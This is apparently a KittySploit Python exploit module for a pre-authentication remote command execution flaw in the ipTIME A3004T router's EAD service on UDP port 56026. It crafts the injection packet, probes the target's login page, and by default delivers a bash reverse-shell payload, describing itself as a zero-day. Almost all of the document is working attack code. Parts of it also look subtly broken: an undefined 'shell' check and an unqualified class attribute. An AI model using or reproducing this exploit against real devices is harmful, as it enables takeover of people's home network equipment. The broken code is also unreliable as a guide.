ipTIME A3004T EAD Service - Pre-auth RCE (UDP/56026)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations
import re
import socket
import requests
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.ics.ics_scanner_client import Ics_scanner_client

class Module(Exploit, Ics_scanner_client, Handler):
    __info__ = {'name': 'ipTIME A3004T EAD Service - Pre-auth RCE (UDP/56026)', 'description': 'Pre-authentication remote command execution in ipTIME A3004T firmware 14.19.0 (OpenWrt / MediaTek MT7621). The EAD service binds to UDP/56026 without source-IP filtering; EAD_TYPE_SEND_CMD (0x0a) reaches system() in handle_send_cmd(). Opens a reverse shell session (default payload) or a blind UDP execute session when command= is used.', 'author': ['Paccaron', 'KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.MIPS], 'category': 'singles', 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': 'singles'}, 'references': ['https://www.iptime.com/', 'https://www.iptime.com/iptime/?page_id=147&pid=34'], 'tags': ['iptime', 'router', 'ead', 'udp', 'command-injection', 'pre-auth', 'rce'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals'], 'cost': 1.5, 'noise': 0.6, 'value': 1.0, 'requires': {'tech_hints_any': ['iptime', 'router']}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': 'EAD UDP command injection'}, {'capability': 'shell', 'from_detail': 'reverse_tcp or blind execute session'}], 'consumes_capabilities': [], 'option_bindings': {}, 'suggested_followups': ['scanner/udp/iptime_ead_detect']}}}
    EAD_PORT = 56026
    _IPTIME_TITLE = re.compile('<TITLE>ipTIME\\s+[A-Z0-9_-]+</TITLE>', re.I)
    port = OptPort(EAD_PORT, 'EAD service UDP port', required=True)
    require_iptime = OptBool(False, 'Abort unless ipTIME login panel is detected', required=False, advanced=True)
    http_port = OptPort(80, 'HTTP port for ipTIME panel fingerprint', required=False, advanced=True)

    def _packet(self, command: str) -> bytes:
        cmd = str(command or '').strip()
        return b'\x00\x00\x00\n' + b'\x00' * 60 + b';' + cmd.encode() + b'\x00'

    def _send(self, command: str) -> bool:
        host = self._host()
        if not host:
            print_error('target is required')
            return False
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.settimeout(self._timeout())
        try:
            sock.sendto(self._packet(command), (host, int(self._port())))
            return True
        except OSError as exc:
            print_error(f'UDP send failed: {exc}')
            return False
        finally:
            sock.close()

    def _iptime_panel(self) -> bool:
        host = self._host()
        if not host:
            return False
        url = f'http://{host}:{int(self.http_port or 80)}/sess-bin/login_session.cgi'
        try:
            response = requests.get(url, timeout=self._timeout(), verify=False)
        except requests.RequestException:
            return False
        return response.status_code == 200 and bool(_IPTIME_TITLE.search(response.text or ''))

    def _command(self) -> str:
        if str(self.shell_from_payload() or '').strip():
            return str(self.shell_from_payload()).strip()
        return str(self.payload or '').strip()

    def run_command(self, cmd: str) -> str:
        """HttpCmdShell-compatible blind dispatcher."""
        if self._send(cmd):
            return '(command dispatched via EAD UDP — no output returned)'
        return '(EAD UDP send failed)'

    def execute(self, cmd: str) -> str:
        return self.run_command(cmd)

    def check(self):
        host = self._host()
        if not host:
            return {'vulnerable': False, 'reason': 'target not set', 'confidence': 'low'}
        iptime = self._iptime_panel()
        if self.require_iptime and (not iptime):
            return {'vulnerable': False, 'reason': 'ipTIME login panel not detected', 'confidence': 'medium'}
        if not self._send('true'):
            return {'vulnerable': False, 'reason': 'Could not reach EAD UDP endpoint', 'confidence': 'low'}
        reason = f'EAD UDP/{int(self._port())} reachable on {host}'
        if iptime:
            reason += '; ipTIME panel detected'
        return {'vulnerable': True, 'reason': reason, 'confidence': 'high' if iptime else 'medium'}

    def handler_execute(self):
        host = self._host()
        port = int(self._port())
        session_id = self._create_session(host, port, 'http_cmd', {'protocol': 'udp', 'exploit_type': 'ead_injection', 'platform': Platform.LINUX})
        if not session_id:
            print_error('Failed to create execute session')
            return False
        if not hasattr(self, '_session_connections'):
            self._session_connections = {}
        self._session_connections[session_id] = self
        from core.framework.checkcode import Vulnerable
        Vulnerable.SUCCESS()
        print_success(f'Session created: {session_id}')
        print_warning('Blind UDP channel — commands dispatch without returned output')
        return True

    def run(self):
        print_status('ipTIME A3004T EAD service pre-auth command injection')
        host, port = (self._host(), int(self._port()))
        print_info(f'Target: {host}:{port}/udp')
        result = self.check()
        if not result.get('vulnerable'):
            print_error(result.get('reason', 'Target does not appear reachable'))
            self.not_vulnerable()
            return False
        print_success(result.get('reason', 'Target appears reachable'))
        cmd = self._command()
        if not shell:
            print_error('Set command= or configure a cmd payload')
            return False
        print_status(f'Sending EAD_TYPE_SEND_CMD: {cmd[:120]}')
        if not self._send(cmd):
            return False
        print_success(f'Command dispatched to {host}:{port}/udp')
        if getattr(self, 'payload_type', None) == 'reverse':
            print_info('Waiting for reverse shell callback on the framework listener...')
            return True
        return True
    'ipTIME A3004T EAD service pre-auth command injection (zero-day, firmware 14.19.0).'